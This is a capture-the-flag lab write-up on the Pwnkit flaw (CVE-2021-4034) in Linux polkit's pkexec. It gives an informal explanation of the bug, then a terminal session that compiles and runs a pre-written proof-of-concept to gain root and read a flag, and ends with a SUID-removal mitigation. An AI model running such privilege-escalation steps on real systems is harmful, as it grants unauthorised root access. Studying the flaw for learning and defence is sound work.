

Pwnkit : CVE-2021-4034

CVE-2021-4034 (colloquially dubbed "Pwnkit") is a terrifying **L**ocal **P**rivilege **E**scalation (LPE) vulnerability, located in the "Polkit" package installed by default on almost every major distribution of the Linux operating system (as well as many other *nix operating systems). In other words, it affects virtually every mainstream Linux system on the planet.

Pwnkit : Background

This vulnerability exist in "Policy Toolkit" or Polkit in linux systems , allowing an attacker to attain root access over linux machine also called LPE- local privilege escalation .

what is polkit ?

it is a part of linux authorization system , whenever we try to run high privileges tasks , polkit determines whether we have correct set of permissions or not .

it is integrated with systemd and is much more configurable then sudo .

okay , so while interacting with polkit , we have a pkexec utility .

so what vulnerable is , is pkexec utility here .

so to simply make it understandable , the pkexec utility does not handle command-line arguments safely .

which leads to a out-of-bounds write or memory corruption , which leads to manipulation of environment .

more specifically , when we give a command line argument , it passes through a for-loop starting at an index of 1 and if we pass no arguments , the offset n remains 1 and we bypass the loop and overwriting the next environment variable and giving us root access .

Pwnkit : Exploitation

here is just a simple proof of concept , we will use a pre-written exploit and run it to show that we got root access.

```
(kali㉿kali)-[~]  
$ ssh tryhackme@10.10.71.58  
The authenticity of host '10.10.71.58 (10.10.71.58)' can't be established.  
ED25519 key fingerprint is SHA256:JqhFDekvo2WwVGT8fMHG8VlUmTZz1Uxh4dRGV73Qeg0.  
This key is not known by any other names  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.10.71.58' (ED25519) to the list of known hosts.  
tryhackme@10.10.71.58's password:
```

```
tryhackme@pwnkit:~$ ls  
pwnkit  
tryhackme@pwnkit:~$ cd pwnkit  
tryhackme@pwnkit:~/pwnkit$ ls  
cve-2021-4034-poc.c  README.md  
tryhackme@pwnkit:~/pwnkit$ gcc cve-2021-4034-poc.c -o exploit  
tryhackme@pwnkit:~/pwnkit$ ls  
cve-2021-4034-poc.c  exploit  README.md  
tryhackme@pwnkit:~/pwnkit$ whoami  
tryhackme  
tryhackme@pwnkit:~/pwnkit$ ./exploit  
# whoami  
root  
# cat /root/flag.txt  
THM{CONGRATULATIONS-YOU-EXPLOITED-PWNKIT}  
#
```

so , first we compiled the binary as “exploit” , then showed that we had user access and as soon as we run the exploit we have root access and flag .

Pwnkit : Patch

In distributions which have not yet released

patched versions of the package, the recommended hotfix is to simply remove the SUID bit from the pkexec binary. This can be done with a command such as the following:

```
tryhackme@pwnkit:~/pwnkit$ ./exploit
# sudo chmod 0755 `which pkexec`
# exit
tryhackme@pwnkit:~/pwnkit$ ./exploit
GLib: Cannot convert message: Could not open converter from "UTF-8" to "PWNKIT"
pkexec must be setuid root
tryhackme@pwnkit:~/pwnkit$
```

now it has been patched successfully .